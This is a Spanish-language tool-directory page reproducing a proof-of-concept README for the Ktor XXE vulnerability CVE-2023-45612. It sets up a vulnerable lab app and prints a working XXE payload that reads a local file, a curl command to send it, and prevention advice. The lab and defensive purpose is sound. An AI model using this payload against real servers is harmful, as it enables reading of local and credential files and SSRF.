Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/stefan-500/ktor-cve-2023-45612-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebMala ConfiguraciónAprendizaje y Educación
GitHubstefan-500/ktor-cve-2023-45612-poc

ktor-cve-2023-45612-poc

Prueba de concepto de inyección XXE en Ktor (CVE-2023-45612)

Ver Repositorio
13hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Ktor XXE Vulnerability Proof-of-Concept (CVE-2023-45612)

Resumen

Impacto: Acceso a archivos arbitrarios mediante una DTD XML manipulada con una referencia XXE.
Causa raíz: Analizador XML inseguro.

Este repositorio contiene una aplicación Ktor 2.3.4 vulnerable configurada para permitir entidades externas de modo que el efecto XXE sea visible.

Descripción

Aplicación Ktor (v2.3.4) vulnerable para inyección de entidades externas XML (CVE-2023-45612) como prueba de concepto.

CVE-2023-45612 es un error XXE (Entidad Externa XML) en ContentNegotiation de Ktor cuando XML está habilitado en versiones anteriores a 2.3.5.
Esta vulnerabilidad se asigna a CWE-611: Restricción Inadecuada de Referencia a Entidad Externa XML.
XXE forma parte de la categoría de riesgo OWASP Top 10 A05:2021-Mala Configuración de Seguridad, pero también es un problema de diseño inseguro, ya que la causa es un analizador XML no restrictivo.

Reportado por Ulf Karlsson — consulte notas de seguridad de Jetbrains.

Componentes y versiones afectadas

Versiones de Ktor anteriores a 2.3.5

Entorno de reproducción

Esta es mi configuración para reproducir el problema:

  • IntelliJ IDEA 2025.2.4
  • Ktor 2.3.4
  • JDK 21
  • SO: Windows 10

XXE explicado

Los documentos XML pueden contener opcionalmente una Definición de Tipo de Documento (DTD), que, entre otras características, permite la definición de entidades XML. Es posible definir una entidad proporcionando una cadena de sustitución en forma de URI. El analizador XML puede acceder al contenido de esta URI e incrustar dicho contenido de nuevo en el documento XML para su posterior procesamiento. Al enviar un archivo XML que define una entidad externa con una URI file://, un atacante puede hacer que la aplicación procesadora lea el contenido de un archivo local.
Por ejemplo, una URI como "file:///c:/winnt/win.ini" designa (en Windows) el archivo C:\Winnt\win.ini, o file:///etc/passwd designa el archivo de contraseñas en sistemas basados en Unix.
(https://cwe.mitre.org/data/definitions/611.html)

Cómo funciona

Se realiza una solicitud POST al endpoint http://localhost:8080/xml.
La solicitud envía un archivo xml, exploit/payloads/xxe-demo-file.xml, que contiene un elemento <!DOCTYPE> en el que se referencia una entidad externa, en este caso exploit/etc/secret.txt.

Potencialmente podría ser cualquier otro archivo del sistema al que el proceso tenga acceso.

xxe-demo-file.xml

root@kitploit:~
<!DOCTYPE Mail [ <!ENTITY xxe SYSTEM "exploit/etc/secret.txt"> ]>
<Mail><title>&xxe;</title></Mail>

El analizador XML (configurado para permitir DTDs) resuelve este elemento y recupera los datos del recurso.

La referencia externa también podría ser una ruta a un endpoint SSRF, o podría apuntar a un archivo grande para ocupar los recursos del sistema (DOS).

Pasos para reproducir

  1. Inicie el servidor:
root@kitploit:~
./gradlew run
  1. La salida debería ser:
root@kitploit:~
Responding at http://127.0.0.1:8080
  1. Envíe el payload XXE usando curl:
root@kitploit:~
 curl -i http://localhost:8080/xml -H "Content-Type: application/xml" --data-binary @exploit/payloads/xxe-demo-file.xml

Resultado esperado (vulnerable):

Salida en consola: Received: <datos de entidad externa>

Resultado esperado (seguro):

400 Bad Request, o similar (El analizador XML bloquea la Definición de Tipo de Documento)

Evidencia

Ejecutar comando:

Comando para ejecutar la app

Enviar payload XXE usando cURL, y el resultado mostrando el contenido del archivo inyectado:

Comando curl

Severidad

La severidad es alta/crítica. Posible recuperación de archivos locales, ataque SSRF, ataque DoS u otros impactos en el sistema.
Puntaje base NVD: 9.8 CRÍTICO (CVSS v3) (https://nvd.nist.gov/vuln/detail/CVE-2023-45612)

Borrador de guía de prevención para desarrolladores

  • Configure el analizador XML para que no resuelva entidades externas. Si se necesitan entidades externas, implemente un XmlResolver personalizado con un tiempo de espera de solicitud, un límite de recuperación de datos y restrinja los recursos que puede recuperar localmente.
  • Utilice recursos como la Hoja de referencia de prevención de XXE de OWASP, que cubre la implementación de la prevención de XXE, específicamente para diversas tecnologías.
  • Integre SAST en CI, ya que puede encontrar algunas instancias de esta debilidad analizando el código fuente.
  • Rastree y analice las versiones de dependencias y las vulnerabilidades.
  • Implemente estándares de codificación segura a nivel de empresa.
  • Enfatice la integración de la seguridad a lo largo del SDLC, especialmente en las fases de diseño y pruebas del desarrollador.

Referencias

  • https://nvd.nist.gov/vuln/detail/CVE-2023-45612
  • https://cwe.mitre.org/data/definitions/611.html
  • https://capec.mitre.org/data/definitions/221.html
  • https://medium.com/@iason.tzortzis/xxe-xml-external-entity-injection-explained-e8be5f1f7cd7
  • https://ktor.io/docs/server-create-a-new-project.html#create-project-with-the-ktor-project-generator
  • https://www.jetbrains.com/privacy-security/issues-fixed/?product=Ktor
  • https://ktor.io/docs/2.3.13/welcome.html
  • https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files
  • https://ssojet.com/parse-and-generate-formats/parse-and-generate-xml-in-ktor/
  • https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
  • https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
Descargar herramienta